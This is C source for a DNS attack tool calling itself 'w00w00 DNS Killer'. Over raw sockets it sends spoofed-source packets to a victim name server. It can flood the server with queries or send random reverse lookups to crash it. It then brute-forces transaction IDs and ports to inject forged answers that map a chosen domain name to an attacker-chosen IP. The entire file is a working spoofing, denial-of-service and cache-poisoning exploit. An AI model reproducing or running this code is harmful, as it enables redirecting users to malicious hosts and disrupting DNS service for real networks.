/* *********************************************** */
/* w00w00 DNS Killer (Brutal attack)               */
/* ----------------------------------------------- */
/* Email: w00w00@janova.org, WSD@janova.org        */
/* WWW: http://www.janova.org                      */
/* FTP: ftp://ftp.janova.org/pub                   */
/* *********************************************** */

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"

#define   ERROR    -1
#define   ID_START  1
#define   ID_STOP   65535
#define   VERSION   "v0.3"
#define   PORT_START 53
#define   PORT_STOP  54

void main(int argc, char **argv)
{
  struct   dnshdr *dns;
     
  char *data;
  char buffer2[4000];
  unsigned char names[255];    
     
  unsigned long s_ip, s_ip2;
  unsigned long d_ip, d_ip2;
     
  int sraw, i, on=1, x, loop;
  int idstart, idstop, portstart, portstop;

  printf("w00w00!\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("w00w00@janova.org, WSD@janova.org\n");
  
  if (argc < 5) {
     system("/usr/bin/clear");

     printf("w00w00!\n");
     printf("w00w00 Security Development (WSD)\n");
     printf("w00w00@janova.org, WSD@janova.org\n\n");
     printf(" Usage : %s <ip src> <ip dst>  <name> <ip>\n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]);
     printf(" ip src: ip source of the dns anwser\n");
     printf(" ip dst: ip of the dns victim\n");
     printf(" name  : spoof name i.e.: www.dede.com\n");
     printf(" ip    : the ip associated with the name\n");
     printf(" options:\n");
     printf(" [A,B,N]...\n");
     printf(" A: flood the DNS victim with multiple queries\n");
     printf(" B: DoS attack to crash the DNS\n");
     printf(" N: No attacks\n\n");
     printf(" [ID_START]            \n");
     printf(" ID_START: id start :> \n\n");
     printf(" [ID_STOP]             n");
     printf(" ID_STOP : id stop :>  \n\n");
     printf(" PORT START, PORT STOP: send the spoof to the portstart at portstop\n\n");

     exit(ERROR);
  }
    
  dns  = (struct dnshdr  *)buffer2;
  data = (char *)(buffer2+DNSHDRSIZE);
  bzero(buffer2, sizeof(buffer2));
 
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
   
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
	== ERROR){
    perror("setsockopt");
    exit(ERROR);
  }
 
  printf("WSDkillDNS %s \n", VERSION); 

  s_ip2 = s_ip = host2ip(argv[1]);
  d_ip2 = d_ip = host2ip(argv[2]);


  if (argc > 5)
     if (*argv[5]=='A')
        for (loop=0; loop < 10; loop++) {
           dns->id      = 6000+loop;
           dns->qr      = 0;
           dns->rd      = 1;
           dns->aa      = 0;
           dns->que_num = htons(1);
           dns->rep_num = htons(0);
       
           i = makepacketQS(data, argv[3], TYPE_A); 
           udp_send(sraw, s_ip, d_ip, 1200+loop, 53, buffer2, DNSHDRSIZE+i);
       
           s_ip = ntohl(s_ip);
           s_ip++;
           s_ip = htonl(s_ip);
       
        }
   
  if (argc > 5)
     if (*argv[5]=='B') {
  	s_ip = host2ip("100.1.2.3");

        dns->id      = 123;
        dns->rd      = 1;
        dns->que_num = htons(1);
             
	printf("Enter the number of packets to send: ");
        scanf("%d",&i);         
     
        for (x = 0; x < i; x++) {            
           sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa",
                   myrand(), myrand(), myrand(), myrand());        

           strcpy(data, names);
               
           *((u_short *) (data+strlen(names)+1)) = ntohs(12);
           *((u_short *) (data+strlen(names)+3)) = ntohs(1);
                  
           udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buffer2,
                    14+strlen(names)+5);
                  
           s_ip = ntohl(s_ip);
           s_ip++;
           s_ip = htonl(s_ip);   

           printf("send packet # %i:%i\n", x, i);   
        }
     } 
   
  if (argc > 6) idstart = atoi(argv[6]);
  else idstart = ID_START;

  if (argc > 7) idstop = atoi(argv[7]);
  else idstop = ID_STOP;
  
  if (argc > 8) {
     portstart = atoi(argv[8]);
     portstop  = atoi(argv[9]);
  } else {
     portstart = PORT_START;
     portstop  = PORT_STOP;
  }
           

  bzero(buffer2, sizeof(buffer2));
  bzero(names,   sizeof(names));

  i = 0 , x = 0;
  s_ip = s_ip2, d_ip = d_ip2;

  for (; idstart < idstop; idstart++) {
      dns->id      = htons(idstart);
      dns->qr      = 1;
      dns->rd      = 1;
      dns->aa      = 1;
      dns->que_num = htons(1);
      dns->rep_num = htons(1);
       
      (void) printf("send awnser with id %i to port %i at port %i\n",
       	   	    idstart, portstart, portstop);
       		                                          
       i = makepacketAW(data, argv[3], argv[4], TYPE_A);
       
       for (; x < portstop; x++)
          udp_send(sraw, s_ip, d_ip, 53, x, buffer2, DNSHDRSIZE+i);
       
       x = portstart;
  }  
 
  printf(" terminated..\n");
}
